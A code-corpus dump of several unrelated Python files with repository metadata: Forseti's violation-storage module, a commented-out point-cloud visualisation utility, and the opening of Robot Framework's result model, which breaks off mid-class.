try: v_data['violation_data'] = json.loads(v_data['violation_data']) except ValueError: LOGGER.warning('Invalid violation data, unable to parse json ' 'for %s', v_data['violation_data']) # resource_data can be regular python string try: v_data['resource_data'] = json.loads(v_data['resource_data']) except ValueError: v_data['resource_data'] = json.loads( json.dumps(v_data['resource_data'])) v_resource = vm.VIOLATION_RESOURCES.get(v_data['violation_type']) if v_resource: v_by_type[v_resource].append(v_data) return dict(v_by_type) def _create_violation_hash(violation_full_name, resource_data, violation_data): """Create a hash of violation data. Args: violation_full_name (str): The full name of the violation. resource_data (str): The inventory data. violation_data (dict): A violation. Returns: str: The resulting hex digest or '' if we can't successfully create a hash. """ # TODO: Intelligently choose from hashlib.algorithms_guaranteed if our # desired one is not available. algorithm = 'sha512' try: violation_hash = hashlib.new(algorithm) except ValueError: LOGGER.exception('Cannot create hash for a violation with algorithm: ' '%s', algorithm) return '' try: # Group resources do not have full name. Issue #1072 violation_hash.update( json.dumps(violation_full_name).encode() + json.dumps(resource_data, sort_keys=True).encode() + json.dumps(violation_data, sort_keys=True).encode() ) except TypeError: LOGGER.exception('Cannot create hash for a violation: %s', violation_full_name) return '' return violation_hash.hexdigest() def initialize(engine): """Create all tables in the database if not existing. Args: engine (object): Database engine to operate on. """ # Create tables if not exists. BASE.metadata.create_all(engine)

34.562044

79

0.629356

from builtins import object from collections import defaultdict import hashlib import json from sqlalchemy import BigInteger from sqlalchemy import Column from sqlalchemy import DateTime from sqlalchemy import Integer from sqlalchemy import String from sqlalchemy import Text from sqlalchemy import and_ from sqlalchemy import inspect from sqlalchemy.ext.declarative import declarative_base from google.cloud.forseti.common.data_access import violation_map as vm from google.cloud.forseti.common.util import date_time from google.cloud.forseti.common.util import logger from google.cloud.forseti.common.util.index_state import IndexState LOGGER = logger.get_logger(__name__) BASE = declarative_base() CURRENT_SCHEMA = 1 SUCCESS_STATES = [IndexState.SUCCESS, IndexState.PARTIAL_SUCCESS] class ScannerIndex(BASE): __tablename__ = 'scanner_index' id = Column(BigInteger, primary_key=True) inventory_index_id = Column(BigInteger) created_at_datetime = Column(DateTime()) completed_at_datetime = Column(DateTime()) scanner_status = Column(Text()) schema_version = Column(Integer()) scanner_index_warnings = Column(Text(16777215)) scanner_index_errors = Column(Text()) message = Column(Text()) def __repr__(self): return """<{}(id='{}', version='{}', timestamp='{}')>""".format( self.__class__.__name__, self.id, self.schema_version, self.created_at_datetime) @classmethod def create(cls, inv_index_id): utc_now = date_time.get_utc_now_datetime() micro_timestamp = date_time.get_utc_now_microtimestamp(utc_now) return ScannerIndex( id=micro_timestamp, inventory_index_id=inv_index_id, created_at_datetime=utc_now, scanner_status=IndexState.CREATED, schema_version=CURRENT_SCHEMA) def complete(self, status=IndexState.SUCCESS): self.completed_at_datetime = date_time.get_utc_now_datetime() self.scanner_status = status def add_warning(self, session, warning): warning_message = '{}\n'.format(warning) if not self.scanner_index_warnings: self.scanner_index_warnings = warning_message else: self.scanner_index_warnings += warning_message session.add(self) session.flush() def set_error(self, session, message): self.scanner_index_errors = message session.add(self) session.flush() def get_latest_scanner_index_id(session, inv_index_id, index_state=None): scanner_index = None if not index_state: scanner_index = ( session.query(ScannerIndex) .filter(and_( ScannerIndex.scanner_status.in_(SUCCESS_STATES), ScannerIndex.inventory_index_id == inv_index_id)) .order_by(ScannerIndex.id.desc()).first()) else: scanner_index = ( session.query(ScannerIndex) .filter(and_( ScannerIndex.scanner_status == index_state, ScannerIndex.inventory_index_id == inv_index_id)) .order_by(ScannerIndex.created_at_datetime.desc()).first()) return scanner_index.id if scanner_index else None class Violation(BASE): __tablename__ = 'violations' id = Column(Integer, primary_key=True) created_at_datetime = Column(DateTime()) full_name = Column(String(1024)) resource_data = Column(Text(16777215)) resource_name = Column(String(256), default='') resource_id = Column(String(256), nullable=False) resource_type = Column(String(256), nullable=False) rule_index = Column(Integer, default=0) rule_name = Column(String(256)) scanner_index_id = Column(BigInteger) violation_data = Column(Text(16777215)) violation_hash = Column(String(256)) violation_message = Column(Text) violation_type = Column(String(256), nullable=False) def __repr__(self): string = ('<Violation(violation_type={}, resource_type={} ' 'rule_name={})>') return string.format( self.violation_type, self.resource_type, self.rule_name) @staticmethod def get_schema_update_actions(): columns_to_create = [Column('resource_name', String(256), default=''), Column('violation_message', Text(), default='')] columns_to_update = { Column('violation_data', Text()): Column('violation_data', Text(16777215))} schema_update_actions = {'CREATE': columns_to_create, 'ALTER': columns_to_update} return schema_update_actions class ViolationAccess(object): def __init__(self, session): self.session = session def create(self, violations, scanner_index_id): created_at_datetime = date_time.get_utc_now_datetime() for violation in violations: violation_hash = _create_violation_hash( violation.get('full_name', ''), violation.get('resource_data', ''), violation.get('violation_data', ''), ) violation = Violation( created_at_datetime=created_at_datetime, full_name=violation.get('full_name'), resource_data=violation.get('resource_data'), resource_name=violation.get('resource_name'), resource_id=violation.get('resource_id'), resource_type=violation.get('resource_type'), rule_index=violation.get('rule_index'), rule_name=violation.get('rule_name'), scanner_index_id=scanner_index_id, violation_data=json.dumps( violation.get('violation_data'), sort_keys=True), violation_hash=violation_hash, violation_message=violation.get('violation_message', ''), violation_type=violation.get('violation_type') ) self.session.add(violation) def list(self, inv_index_id=None, scanner_index_id=None): if not (inv_index_id or scanner_index_id): return self.session.query(Violation).all() if (inv_index_id and scanner_index_id): raise ValueError( 'Please call list() with the inventory index XOR the scanner ' 'index, not both.') results = [] if inv_index_id: results = ( self.session.query(Violation, ScannerIndex) .filter(and_( ScannerIndex.scanner_status.in_(SUCCESS_STATES), ScannerIndex.inventory_index_id == inv_index_id)) .filter(Violation.scanner_index_id == ScannerIndex.id) .all()) if scanner_index_id: results = ( self.session.query(Violation, ScannerIndex) .filter(and_( ScannerIndex.scanner_status.in_(SUCCESS_STATES), ScannerIndex.id == scanner_index_id)) .filter(Violation.scanner_index_id == ScannerIndex.id) .all()) violations = [] for violation, _ in results: violations.append(violation) return violations def convert_sqlalchemy_object_to_dict(sqlalchemy_obj): return {c.key: getattr(sqlalchemy_obj, c.key) for c in inspect(sqlalchemy_obj).mapper.column_attrs} def map_by_resource(violation_rows): v_by_type = defaultdict(list) for v_data in violation_rows: try: v_data['violation_data'] = json.loads(v_data['violation_data']) except ValueError: LOGGER.warning('Invalid violation data, unable to parse json ' 'for %s', v_data['violation_data']) try: v_data['resource_data'] = json.loads(v_data['resource_data']) except ValueError: v_data['resource_data'] = json.loads( json.dumps(v_data['resource_data'])) v_resource = vm.VIOLATION_RESOURCES.get(v_data['violation_type']) if v_resource: v_by_type[v_resource].append(v_data) return dict(v_by_type) def _create_violation_hash(violation_full_name, resource_data, violation_data): algorithm = 'sha512' try: violation_hash = hashlib.new(algorithm) except ValueError: LOGGER.exception('Cannot create hash for a violation with algorithm: ' '%s', algorithm) return '' try: violation_hash.update( json.dumps(violation_full_name).encode() + json.dumps(resource_data, sort_keys=True).encode() + json.dumps(violation_data, sort_keys=True).encode() ) except TypeError: LOGGER.exception('Cannot create hash for a violation: %s', violation_full_name) return '' return violation_hash.hexdigest() def initialize(engine): BASE.metadata.create_all(engine)

true

f7f372166bbeba66a5cf04cb10709d46af77029b

8,962

py

Python

second/utils/simplevis.py

muzi2045/second_TANET.pytorch

3e10c93075a76684871fe0f188819c7b282671fd

[ "MIT" ]

6

2020-02-15T09:11:53.000Z

2021-11-12T09:03:41.000Z

second/utils/simplevis.py

muzi2045/second_TANET.pytorch

3e10c93075a76684871fe0f188819c7b282671fd

[ "MIT" ]

2

2020-04-15T02:40:44.000Z

2020-11-28T02:14:32.000Z

second/utils/simplevis.py

muzi2045/second_TANET.pytorch

3e10c93075a76684871fe0f188819c7b282671fd

[ "MIT" ]

3

2020-02-11T20:12:50.000Z

2021-05-28T07:31:02.000Z

# import sys # # sys.path.remove('/opt/ros/kinetic/lib/python2.7/dist-packages') # import cv2 # import numba # import numpy as np # from second.core import box_np_ops # @numba.jit(nopython=True) # def _points_to_bevmap_reverse_kernel( # points, # voxel_size, # coors_range, # coor_to_voxelidx, # # coors_2d, # bev_map, # height_lowers, # # density_norm_num=16, # with_reflectivity=False, # max_voxels=40000): # # put all computations to one loop. # # we shouldn't create large array in main jit code, otherwise # # reduce performance # N = points.shape[0] # ndim = 3 # ndim_minus_1 = ndim - 1 # grid_size = (coors_range[3:] - coors_range[:3]) / voxel_size # # np.round(grid_size) # # grid_size = np.round(grid_size).astype(np.int64)(np.int32) # grid_size = np.round(grid_size, 0, grid_size).astype(np.int32) # height_slice_size = voxel_size[-1] # coor = np.zeros(shape=(3, ), dtype=np.int32) # DHW # voxel_num = 0 # failed = False # for i in range(N): # failed = False # for j in range(ndim): # c = np.floor((points[i, j] - coors_range[j]) / voxel_size[j]) # if c < 0 or c >= grid_size[j]: # failed = True # break # coor[ndim_minus_1 - j] = c # if failed: # continue # voxelidx = coor_to_voxelidx[coor[0], coor[1], coor[2]] # if voxelidx == -1: # voxelidx = voxel_num # if voxel_num >= max_voxels: # break # voxel_num += 1 # coor_to_voxelidx[coor[0], coor[1], coor[2]] = voxelidx # # coors_2d[voxelidx] = coor[1:] # bev_map[-1, coor[1], coor[2]] += 1 # height_norm = bev_map[coor[0], coor[1], coor[2]] # incomimg_height_norm = ( # points[i, 2] - height_lowers[coor[0]]) / height_slice_size # if incomimg_height_norm > height_norm: # bev_map[coor[0], coor[1], coor[2]] = incomimg_height_norm # if with_reflectivity: # bev_map[-2, coor[1], coor[2]] = points[i, 3] # # return voxel_num # def points_to_bev(points, # voxel_size, # coors_range, # with_reflectivity=False, # density_norm_num=16, # max_voxels=40000): # """convert kitti points(N, 4) to a bev map. return [C, H, W] map. # this function based on algorithm in points_to_voxel. # takes 5ms in a reduced pointcloud with voxel_size=[0.1, 0.1, 0.8] # Args: # points: [N, ndim] float tensor. points[:, :3] contain xyz points and # points[:, 3] contain reflectivity. # voxel_size: [3] list/tuple or array, float. xyz, indicate voxel size # coors_range: [6] list/tuple or array, float. indicate voxel range. # format: xyzxyz, minmax # with_reflectivity: bool. if True, will add a intensity map to bev map. # Returns: # bev_map: [num_height_maps + 1(2), H, W] float tensor. # `WARNING`: bev_map[-1] is num_points map, NOT density map, # because calculate density map need more time in cpu rather than gpu. # if with_reflectivity is True, bev_map[-2] is intensity map. # """ # if not isinstance(voxel_size, np.ndarray): # voxel_size = np.array(voxel_size, dtype=points.dtype) # if not isinstance(coors_range, np.ndarray): # coors_range = np.array(coors_range, dtype=points.dtype) # voxelmap_shape = (coors_range[3:] - coors_range[:3]) / voxel_size # voxelmap_shape = tuple(np.round(voxelmap_shape).astype(np.int32).tolist()) # voxelmap_shape = voxelmap_shape[::-1] # DHW format # coor_to_voxelidx = -np.ones(shape=voxelmap_shape, dtype=np.int32) # # coors_2d = np.zeros(shape=(max_voxels, 2), dtype=np.int32) # bev_map_shape = list(voxelmap_shape) # bev_map_shape[0] += 1 # height_lowers = np.linspace( # coors_range[2], coors_range[5], voxelmap_shape[0], endpoint=False) # if with_reflectivity: # bev_map_shape[0] += 1 # bev_map = np.zeros(shape=bev_map_shape, dtype=points.dtype) # _points_to_bevmap_reverse_kernel(points, voxel_size, coors_range, # coor_to_voxelidx, bev_map, height_lowers, # with_reflectivity, max_voxels) # # print(voxel_num) # return bev_map # def point_to_vis_bev(points, # voxel_size=None, # coors_range=None, # max_voxels=80000): # if voxel_size is None: # voxel_size = [0.1, 0.1, 0.1] # if coors_range is None: # coors_range = [-50, -50, -3, 50, 50, 1] # voxel_size[2] = coors_range[5] - coors_range[2] # bev_map = points_to_bev( # points, voxel_size, coors_range, max_voxels=max_voxels) # height_map = (bev_map[0] * 255).astype(np.uint8) # return cv2.cvtColor(height_map, cv2.COLOR_GRAY2RGB) # def cv2_draw_lines(img, lines, colors, thickness, line_type=cv2.LINE_8): # lines = lines.astype(np.int32) # for line, color in zip(lines, colors): # color = list(int(c) for c in color) # cv2.line(img, (line[0], line[1]), (line[2], line[3]), color, thickness) # return img # def cv2_draw_text(img, locs, labels, colors, thickness, line_type=cv2.LINE_8): # locs = locs.astype(np.int32) # font_line_type = cv2.LINE_8 # font = cv2.FONT_ITALIC # font = cv2.FONT_HERSHEY_DUPLEX # font = cv2.FONT_HERSHEY_PLAIN # font = cv2.FONT_HERSHEY_SIMPLEX # for loc, label, color in zip(locs, labels, colors): # color = list(int(c) for c in color) # cv2.putText(img, label, tuple(loc), font, 0.7, color, thickness, # font_line_type, False) # return img # def draw_box_in_bev(img, # coors_range, # boxes, # color, # thickness=1, # labels=None, # label_color=None): # """ # Args: # boxes: center format. # """ # coors_range = np.array(coors_range) # bev_corners = box_np_ops.center_to_corner_box2d( # boxes[:, [0, 1]], boxes[:, [3, 4]], boxes[:, 6]) # bev_corners -= coors_range[:2] # bev_corners *= np.array( # img.shape[:2])[::-1] / (coors_range[3:5] - coors_range[:2]) # standup = box_np_ops.corner_to_standup_nd(bev_corners) # text_center = standup[:, 2:] # text_center[:, 1] -= (standup[:, 3] - standup[:, 1]) / 2 # bev_lines = np.concatenate( # [bev_corners[:, [0, 2, 3]], bev_corners[:, [1, 3, 0]]], axis=2) # bev_lines = bev_lines.reshape(-1, 4) # colors = np.tile(np.array(color).reshape(1, 3), [bev_lines.shape[0], 1]) # colors = colors.astype(np.int32) # img = cv2_draw_lines(img, bev_lines, colors, thickness) # if boxes.shape[1] == 9: # # draw velocity arrows # for box in boxes: # velo = box[-2:] # # velo = np.array([-np.sin(box[6]), -np.cos(box[6])]) # velo_unified = velo # if np.isnan(velo_unified[0]): # continue # velo_unified = velo_unified * np.array( # img.shape[:2])[::-1] / (coors_range[3:5] - coors_range[:2]) # center = box[:2] - coors_range[:2] # center = center * np.array( # img.shape[:2])[::-1] / (coors_range[3:5] - coors_range[:2]) # center = tuple(map(lambda x: int(x), center)) # center2 = tuple(map(lambda x: int(x), center + velo_unified)) # cv2.arrowedLine(img, center, center2, color, thickness, tipLength=0.3) # if labels is not None: # if label_color is None: # label_color = colors # else: # label_color = np.tile( # np.array(label_color).reshape(1, 3), [bev_lines.shape[0], 1]) # label_color = label_color.astype(np.int32) # img = cv2_draw_text(img, text_center, labels, label_color, # thickness) # return img # def kitti_vis(points, boxes=None, labels=None): # vis_voxel_size = [0.1, 0.1, 0.1] # vis_point_range = [0, -30, -3, 64, 30, 1] # bev_map = point_to_vis_bev(points, vis_voxel_size, vis_point_range) # if boxes is not None: # bev_map = draw_box_in_bev(bev_map, vis_point_range, boxes, [0, 255, 0], 2, labels) # return bev_map # def nuscene_vis(points, boxes=None, labels=None): # vis_voxel_size = [0.1, 0.1, 0.1] # vis_point_range = [-50, -50, -5, 50, 50, 3] # bev_map = point_to_vis_bev(points, vis_voxel_size, vis_point_range) # if boxes is not None: # bev_map = draw_box_in_bev(bev_map, vis_point_range, boxes, [0, 255, 0], 2, labels) # return bev_map

40.736364

92

0.57264

np.round(grid_size) # # grid_size = np.round(grid_size).astype(np.int64)(np.int32) # grid_size = np.round(grid_size, 0, grid_size).astype(np.int32) # height_slice_size = voxel_size[-1] # coor = np.zeros(shape=(3, ), dtype=np.int32) # DHW # voxel_num = 0 # failed = False # for i in range(N): # failed = False # for j in range(ndim): # c = np.floor((points[i, j] - coors_range[j]) / voxel_size[j]) # if c < 0 or c >= grid_size[j]: # failed = True # break # coor[ndim_minus_1 - j] = c # if failed: # continue # voxelidx = coor_to_voxelidx[coor[0], coor[1], coor[2]] # if voxelidx == -1: # voxelidx = voxel_num # if voxel_num >= max_voxels: # break # voxel_num += 1 # coor_to_voxelidx[coor[0], coor[1], coor[2]] = voxelidx # # coors_2d[voxelidx] = coor[1:] # bev_map[-1, coor[1], coor[2]] += 1 # height_norm = bev_map[coor[0], coor[1], coor[2]] # incomimg_height_norm = ( # points[i, 2] - height_lowers[coor[0]]) / height_slice_size # if incomimg_height_norm > height_norm: # bev_map[coor[0], coor[1], coor[2]] = incomimg_height_norm # if with_reflectivity: # bev_map[-2, coor[1], coor[2]] = points[i, 3] # # return voxel_num # def points_to_bev(points, # voxel_size, # coors_range, # with_reflectivity=False, # density_norm_num=16, # max_voxels=40000): # """convert kitti points(N, 4) to a bev map. return [C, H, W] map. # this function based on algorithm in points_to_voxel. # takes 5ms in a reduced pointcloud with voxel_size=[0.1, 0.1, 0.8] # Args: # points: [N, ndim] float tensor. points[:, :3] contain xyz points and # points[:, 3] contain reflectivity. # voxel_size: [3] list/tuple or array, float. xyz, indicate voxel size # coors_range: [6] list/tuple or array, float. indicate voxel range. # format: xyzxyz, minmax # with_reflectivity: bool. if True, will add a intensity map to bev map. # Returns: # bev_map: [num_height_maps + 1(2), H, W] float tensor. # `WARNING`: bev_map[-1] is num_points map, NOT density map, # because calculate density map need more time in cpu rather than gpu. # if with_reflectivity is True, bev_map[-2] is intensity map. # """ # if not isinstance(voxel_size, np.ndarray): # voxel_size = np.array(voxel_size, dtype=points.dtype) # if not isinstance(coors_range, np.ndarray): # coors_range = np.array(coors_range, dtype=points.dtype) # voxelmap_shape = (coors_range[3:] - coors_range[:3]) / voxel_size # voxelmap_shape = tuple(np.round(voxelmap_shape).astype(np.int32).tolist()) # voxelmap_shape = voxelmap_shape[::-1] # DHW format # coor_to_voxelidx = -np.ones(shape=voxelmap_shape, dtype=np.int32) # # coors_2d = np.zeros(shape=(max_voxels, 2), dtype=np.int32) # bev_map_shape = list(voxelmap_shape) # bev_map_shape[0] += 1 # height_lowers = np.linspace( # coors_range[2], coors_range[5], voxelmap_shape[0], endpoint=False) # if with_reflectivity: # bev_map_shape[0] += 1 # bev_map = np.zeros(shape=bev_map_shape, dtype=points.dtype) # _points_to_bevmap_reverse_kernel(points, voxel_size, coors_range, # coor_to_voxelidx, bev_map, height_lowers, # with_reflectivity, max_voxels) # # print(voxel_num) # return bev_map # def point_to_vis_bev(points, # voxel_size=None, # coors_range=None, # max_voxels=80000): # if voxel_size is None: # voxel_size = [0.1, 0.1, 0.1] # if coors_range is None: # coors_range = [-50, -50, -3, 50, 50, 1] # voxel_size[2] = coors_range[5] - coors_range[2] # bev_map = points_to_bev( # points, voxel_size, coors_range, max_voxels=max_voxels) # height_map = (bev_map[0] * 255).astype(np.uint8) # return cv2.cvtColor(height_map, cv2.COLOR_GRAY2RGB) # def cv2_draw_lines(img, lines, colors, thickness, line_type=cv2.LINE_8): # lines = lines.astype(np.int32) # for line, color in zip(lines, colors): # color = list(int(c) for c in color) # cv2.line(img, (line[0], line[1]), (line[2], line[3]), color, thickness) # return img # def cv2_draw_text(img, locs, labels, colors, thickness, line_type=cv2.LINE_8): # locs = locs.astype(np.int32) # font_line_type = cv2.LINE_8 # font = cv2.FONT_ITALIC # font = cv2.FONT_HERSHEY_DUPLEX # font = cv2.FONT_HERSHEY_PLAIN # font = cv2.FONT_HERSHEY_SIMPLEX # for loc, label, color in zip(locs, labels, colors): # color = list(int(c) for c in color) # cv2.putText(img, label, tuple(loc), font, 0.7, color, thickness, # font_line_type, False) # return img # def draw_box_in_bev(img, # coors_range, # boxes, # color, # thickness=1, # labels=None, # label_color=None): # """ # Args: # boxes: center format. # """ # coors_range = np.array(coors_range) # bev_corners = box_np_ops.center_to_corner_box2d( # boxes[:, [0, 1]], boxes[:, [3, 4]], boxes[:, 6]) # bev_corners -= coors_range[:2] # bev_corners *= np.array( # img.shape[:2])[::-1] / (coors_range[3:5] - coors_range[:2]) # standup = box_np_ops.corner_to_standup_nd(bev_corners) # text_center = standup[:, 2:] # text_center[:, 1] -= (standup[:, 3] - standup[:, 1]) / 2 # bev_lines = np.concatenate( # [bev_corners[:, [0, 2, 3]], bev_corners[:, [1, 3, 0]]], axis=2) # bev_lines = bev_lines.reshape(-1, 4) # colors = np.tile(np.array(color).reshape(1, 3), [bev_lines.shape[0], 1]) # colors = colors.astype(np.int32) # img = cv2_draw_lines(img, bev_lines, colors, thickness) # if boxes.shape[1] == 9: # # draw velocity arrows # for box in boxes: # velo = box[-2:] # # velo = np.array([-np.sin(box[6]), -np.cos(box[6])]) # velo_unified = velo # if np.isnan(velo_unified[0]): # continue # velo_unified = velo_unified * np.array( # img.shape[:2])[::-1] / (coors_range[3:5] - coors_range[:2]) # center = box[:2] - coors_range[:2] # center = center * np.array( # img.shape[:2])[::-1] / (coors_range[3:5] - coors_range[:2]) # center = tuple(map(lambda x: int(x), center)) # center2 = tuple(map(lambda x: int(x), center + velo_unified)) # cv2.arrowedLine(img, center, center2, color, thickness, tipLength=0.3) # if labels is not None: # if label_color is None: # label_color = colors # else: # label_color = np.tile( # np.array(label_color).reshape(1, 3), [bev_lines.shape[0], 1]) # label_color = label_color.astype(np.int32) # img = cv2_draw_text(img, text_center, labels, label_color, # thickness) # return img # def kitti_vis(points, boxes=None, labels=None): # vis_voxel_size = [0.1, 0.1, 0.1] # vis_point_range = [0, -30, -3, 64, 30, 1] # bev_map = point_to_vis_bev(points, vis_voxel_size, vis_point_range) # if boxes is not None: # bev_map = draw_box_in_bev(bev_map, vis_point_range, boxes, [0, 255, 0], 2, labels) # return bev_map # def nuscene_vis(points, boxes=None, labels=None): # vis_voxel_size = [0.1, 0.1, 0.1] # vis_point_range = [-50, -50, -5, 50, 50, 3] # bev_map = point_to_vis_bev(points, vis_voxel_size, vis_point_range) # if boxes is not None: # bev_map = draw_box_in_bev(bev_map, vis_point_range, boxes, [0, 255, 0], 2, labels) # return bev_map

true

f7f373c969946f20377f0b4dfeb16e23bda92915

17,739

py

Python

src/robot/result/model.py

vokiput/robotframework

a93a66abcffc5282cad09fbda77b7c118754cd1e

[ "ECL-2.0", "Apache-2.0" ]

1

2021-12-29T05:31:08.000Z

src/robot/result/model.py

imust6226/robotframework

08c56fef2ebc64d682c7f99acd77c480d8d0e028

[ "ECL-2.0", "Apache-2.0" ]

26

2020-04-07T04:25:35.000Z

2022-03-01T08:08:23.000Z

src/robot/result/model.py

imust6226/robotframework

08c56fef2ebc64d682c7f99acd77c480d8d0e028

[ "ECL-2.0", "Apache-2.0" ]

null

# Copyright 2008-2015 Nokia Networks # Copyright 2016- Robot Framework Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Module implementing result related model objects. During test execution these objects are created internally by various runners. At that time they can inspected and modified by listeners__. When results are parsed from XML output files after execution to be able to create logs and reports, these objects are created by the :func:`~.resultbuilder.ExecutionResult` factory method. At that point they can be inspected and modified by `pre-Rebot modifiers`__. The :func:`~.resultbuilder.ExecutionResult` factory method can also be used by custom scripts and tools. In such usage it is often easiest to inspect and modify these objects using the :mod:`visitor interface <robot.model.visitor>`. __ http://robotframework.org/robotframework/latest/RobotFrameworkUserGuide.html#listener-interface __ http://robotframework.org/robotframework/latest/RobotFrameworkUserGuide.html#programmatic-modification-of-results """ from collections import OrderedDict from itertools import chain import warnings from robot import model from robot.model import BodyItem, Keywords, TotalStatisticsBuilder from robot.utils import get_elapsed_time, setter from .configurer import SuiteConfigurer from .messagefilter import MessageFilter from .modeldeprecation import deprecated, DeprecatedAttributesMixin from .keywordremover import KeywordRemover from .suiteteardownfailed import SuiteTeardownFailed, SuiteTeardownFailureHandler class Body(model.BaseBody): __slots__ = [] class ForIterations(model.BaseBody): for_iteration_class = None __slots__ = [] def create_iteration(self, *args, **kwargs): return self.append(self.for_iteration_class(*args, **kwargs)) @ForIterations.register @Body.register class Message(model.Message): __slots__ = [] class StatusMixin: __slots__ = [] PASS = 'PASS' FAIL = 'FAIL' SKIP = 'SKIP' NOT_RUN = 'NOT RUN' NOT_SET = 'NOT SET' @property def elapsedtime(self): """Total execution time in milliseconds.""" return get_elapsed_time(self.starttime, self.endtime) @property def passed(self): """``True`` when :attr:`status` is 'PASS', ``False`` otherwise.""" return self.status == self.PASS @passed.setter def passed(self, passed): self.status = self.PASS if passed else self.FAIL @property def failed(self): """``True`` when :attr:`status` is 'FAIL', ``False`` otherwise.""" return self.status == self.FAIL @failed.setter def failed(self, failed): self.status = self.FAIL if failed else self.PASS @property def skipped(self): """``True`` when :attr:`status` is 'SKIP', ``False`` otherwise. Setting to ``False`` value is ambiguous and raises an exception. """ return self.status == self.SKIP @skipped.setter def skipped(self, skipped): if not skipped: raise ValueError("`skipped` value must be truthy, got '%s'." % skipped) self.status = self.SKIP @property def not_run(self): """``True`` when :attr:`status` is 'NOT RUN', ``False`` otherwise. Setting to ``False`` value is ambiguous and raises an exception. """ return self.status == self.NOT_RUN @not_run.setter def not_run(self, not_run): if not not_run: raise ValueError("`not_run` value must be truthy, got '%s'." % not_run) self.status = self.NOT_RUN @ForIterations.register class ForIteration(BodyItem, StatusMixin, DeprecatedAttributesMixin): """Represents one FOR loop iteration.""" type = BodyItem.FOR_ITERATION body_class = Body repr_args = ('variables',) __slots__ = ['variables', 'status', 'starttime', 'endtime', 'doc'] def __init__(self, variables=None, status='FAIL', starttime=None, endtime=None, doc='', parent=None): self.variables = variables or OrderedDict() self.parent = parent self.status = status self.starttime = starttime self.endtime = endtime self.doc = doc self.body = None @setter def body(self, body): return self.body_class(self, body) def visit(self, visitor): visitor.visit_for_iteration(self) @property @deprecated def name(self): return ', '.join('%s = %s' % item for item in self.variables.items()) @Body.register class For(model.For, StatusMixin, DeprecatedAttributesMixin): body_class = ForIterations __slots__ = ['status', 'starttime', 'endtime', 'doc'] def __init__(self, variables=(), flavor='IN', values=(), status='FAIL', starttime=None, endtime=None, doc='', parent=None): super().__init__(variables, flavor, values, parent) self.status = status self.starttime = starttime self.endtime = endtime self.doc = doc @property @deprecated def name(self): return '%s %s [ %s ]' % (' | '.join(self.variables), self.flavor, ' | '.join(self.values)) class IfBranch(model.IfBranch, StatusMixin, DeprecatedAttributesMixin): body_class = Body __slots__ = ['status', 'starttime', 'endtime', 'doc'] def __init__(self, type=BodyItem.IF, condition=None, status='FAIL', starttime=None, endtime=None, doc='', parent=None): super().__init__(type, condition, parent) self.status = status self.starttime = starttime self.endtime = endtime self.doc = doc @property @deprecated def name(self): return self.condition @Body.register class If(model.If, StatusMixin, DeprecatedAttributesMixin): branch_class = IfBranch __slots__ = ['status', 'starttime', 'endtime', 'doc'] def __init__(self, status='FAIL', starttime=None, endtime=None, doc='', parent=None): super().__init__(parent) self.status = status self.starttime = starttime self.endtime = endtime self.doc = doc class TryBranch(model.TryBranch, StatusMixin, DeprecatedAttributesMixin): body_class = Body __slots__ = ['status', 'starttime', 'endtime', 'doc'] def __init__(self, type=BodyItem.TRY, patterns=(), variable=None, status='FAIL', starttime=None, endtime=None, doc='', parent=None): super().__init__(type, patterns, variable, parent) self.status = status self.starttime = starttime self.endtime = endtime self.doc = doc @property @deprecated def name(self): patterns = ' | '.join(self.patterns) as_var = f'AS {self.variable}' if self.variable else '' sep = ' ' if patterns and as_var else '' return f'{patterns}{sep}{as_var}' @Body.register class Try(model.Try, StatusMixin, DeprecatedAttributesMixin): branch_class = TryBranch __slots__ = ['status', 'starttime', 'endtime', 'doc'] def __init__(self, status='FAIL', starttime=None, endtime=None, doc='', parent=None): super().__init__(parent) self.status = status self.starttime = starttime self.endtime = endtime self.doc = doc @Body.register class Return(model.Return, StatusMixin, DeprecatedAttributesMixin): __slots__ = ['status', 'starttime', 'endtime'] def __init__(self, values=(), status='FAIL', starttime=None, endtime=None, parent=None): super().__init__(values, parent) self.status = status self.starttime = starttime self.endtime = endtime # FIXME: Remove attributes. @property @deprecated def args(self): return self.values @property @deprecated def doc(self): return '' @ForIterations.register @Body.register class Keyword(model.Keyword, StatusMixin): """Represents results of a single keyword. See the base class for documentation of attributes not documented here. """ body_class = Body __slots__ = ['kwname', 'libname', 'status', 'starttime', 'endtime', 'message', 'sourcename'] def __init__(self, kwname='', libname='', doc='', args=(), assign=(), tags=(), timeout=None, type=BodyItem.KEYWORD, status='FAIL', starttime=None, endtime=None, parent=None, sourcename=None): super().__init__(None, doc, args, assign, tags, timeout, type, parent) #: Name of the keyword without library or resource name. self.kwname = kwname #: Name of the library or resource containing this keyword. self.libname = libname #: Execution status as a string. ``PASS``, ``FAIL``, ``SKIP`` or ``NOT RUN``. self.status = status #: Keyword execution start time in format ``%Y%m%d %H:%M:%S.%f``. self.starttime = starttime #: Keyword execution end time in format ``%Y%m%d %H:%M:%S.%f``. self.endtime = endtime #: Keyword status message. Used only if suite teardowns fails. self.message = '' #: Original name of keyword with embedded arguments. self.sourcename = sourcename self.body = None @setter def body(self, body): """Child keywords and messages as a :class:`~.Body` object.""" return self.body_class(self, body) @property def keywords(self): """Deprecated since Robot Framework 4.0. Use :attr:`body` or :attr:`teardown` instead. """ keywords = self.body.filter(messages=False) if self.teardown: keywords.append(self.teardown) return Keywords(self, keywords) @keywords.setter def keywords(self, keywords): Keywords.raise_deprecation_error() @property def messages(self): """Keyword's messages. Starting from Robot Framework 4.0 this is a list generated from messages in :attr:`body`. """ return self.body.filter(messages=True) @property def children(self): """List of child keywords and messages in creation order. Deprecated since Robot Framework 4.0. Use :att:`body` instead. """ warnings.warn("'Keyword.children' is deprecated. Use 'Keyword.body' instead.") return list(self.body) @property def name(self): """Keyword name in format ``libname.kwname``. Just ``kwname`` if :attr:`libname` is empty. In practice that is the case only with user keywords in the same file as the executed test case or test suite. Cannot be set directly. Set :attr:`libname` and :attr:`kwname` separately instead. """ if not self.libname: return self.kwname return '%s.%s' % (self.libname, self.kwname) @name.setter def name(self, name): if name is not None: raise AttributeError("Cannot set 'name' attribute directly. " "Set 'kwname' and 'libname' separately instead.") self.kwname = None self.libname = None class TestCase(model.TestCase, StatusMixin): """Represents results of a single test case. See the base class for documentation of attributes not documented here. """ __slots__ = ['status', 'message', 